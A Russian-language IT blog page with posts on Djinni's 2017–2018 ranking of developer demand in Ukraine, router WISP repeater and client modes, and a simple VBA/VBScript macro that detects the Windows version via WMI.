На первом месте JS-разработчики, с большим отрывом. Самые горячие сейчас React и Node.js, но и Angular и традиционный JavaScript там же в топе. На втором месте Java/.NET и технологии веб-разработки – PHP/Python/Ruby. На третьем месте уважаемый DevOps и С++(!).

Во “второй лиге” идут тестировщики (QA) и мобильная разработка – у iOS/Android почти паритет, но iOS немножко впереди. В аутсайдерах традиционно менеджеры проектов (PM) и бизнес-аналитики (BA).

Полная таблица с рейтингом:
Технология / опыт работыменьше года1-22-33-55-1010+
.NET5.011.318.226.926.221.8
Android2.45.911.613.914.6н/д
Business Analyst3.55.09.310.49.610.1
C++3.98.013.115.923.024.3
DevOps8.110.513.123.524.221.9
iOS4.49.112.614.814.0н/д
Java2.37.518.928.128.227.9
JavaScript4.112.424.633.531.527.0
React.js8.920.929.449.136.028.6
Angular.js7.616.428.933.631.034.7
Node.js6.120.429.044.031.027.2
PHP6.714.023.324.123.921.7
Project Manager4.65.87.88.98.38.5
Python4.011.118.424.023.223.1
QA3.08.313.615.215.011.6
Ruby5.911.213.918.823.1н/д

Как они считали:
  1. В качестве рейтинга считали, сколько предложений в среднем получил профиль кандидата выбранного уровня. Например, С++ разработчик с опытом от двух лет получает в среднем 13.1 предложений, а с опытом 5+ почти вдвое больше, 23 предложения.
  2. Рейтинг напрямую не связан с количеством предложений или профилей, а только с их соотношением. Например, тестировщики получили в сумме предложений в несколько раз больше, чем C++ или DevOps, но и профилей тестировщиков на Джинне в разы больше. Поэтому и общий рейтинг у них ниже.
  3. “Нет данных” (н/д) означает, что в эту выборку попало меньше 20 профилей кандидатов.
  4. Количество лет опыта означает общий опыт кандидата из профиля, он не обязательно совпадает с опытом разработки на выбранной технологии. “1-2 лет опыта” означает “как минимум год опыта, но меньше двух лет”. Аналогично для других вилок, верхняя граница не включается.
  5. Для анализа использовали 240 тыс. предложений, которые разослали рекрутеры кандидатам с 1 октября 2017 по 31 марта 2018 и примерно 20 тыс профилей, которые были активны в это время. Учитывались только данные по кандидатам из Украины.
А где ваше место?

Tuesday, 3 April 2018

Перевод WiFi-роутера в режим повторителя WISP.

Всем привет.

В современных домашних маршрутизаторах появились новые режимы раздачи (ретрансляции) интернета не только от провайдера, но и с любого другого устройства, например вашего смартфона который уже вовсю шарит в LTE. В этом случае ваш WiFi-роутер переходит в режим повторителя или клиента. Более продвинутый вариант такого режима имеет приставку WISP что значит Wireless Internet Service Provider.

Впервые я с этим режимом познакомился на роутере Vinga WR-N150. Особо представлять его не буду, подробно про линейку Vinga роутеров сказано здесь.

На входе в админку видно что маршрутизатор поддерживает до 6-ти режимов работы:


  • точка доступа: режим полезен, когда нужно просто получить Интернет сигнал от основного устройства и раздать его по Wi-Fi.
  • маршрутизатор: режим работы по умолчанию. 
  • повторитель (+ режим WISP). Режим используется для расширения "зоны действия" Wi-Fi сети.
  • клиент (+ режим WISP): режим полезен, когда имеется устройство с сетевым интерфейсом, но без Wi-Fi. В таком случае, маршрутизатор настраивается в режим "клиента", тогда он будет принимать Интернет сигнал по Wi-Fi и передавать его через витую пару (LAN) на нужные устройства.

Настройка режима Client (с WISP или без) требует выполнения последовательных шагов.

Wednesday, 8 November 2017

Совместимость между VBA, VBScript и Powershell.

Всем привет.

Как оказалось наш Excel это мега-инструмент для администратора!

В код VBA в Excel можно легко вставлять блоки VBS кода и все будет успешно работать.

Вот вам пример простенькой смеси из VBА и VBS кода, MyVBScript() определяеят версию ОС, 7ка или нет, и пишет результат в активную ячейку.
Sub MyVBScript()
On Error Resume Next
Set objCollection = GetObject("winmgmts:\\.\root\cimv2").ExecQuery("SELECT Name FROM Win32_OperatingSystem")
For Each objItem In objCollection
    strOS = objItem.Name
Next
'MsgBox strOS
ActiveCell.Select
If InStr(1, strOS, " Vista ", vbTextCompare) > 0 Or InStr(strOS, " 7 ") > 0 Then
    ActiveCell.FormulaR1C1 = "Windows 7"
Else
    ActiveCell.FormulaR1C1 = "It isn't Win7"
End If

End Sub


Здорово, не правда ли?
Но возьмем пример попрактичнее. Администратору надо было вручную поменять пароль главного админа на всех хостах в локальной сети. Но администратор был в меру ленив и решил использовать любимый Excel!

Версия на печать

Популярное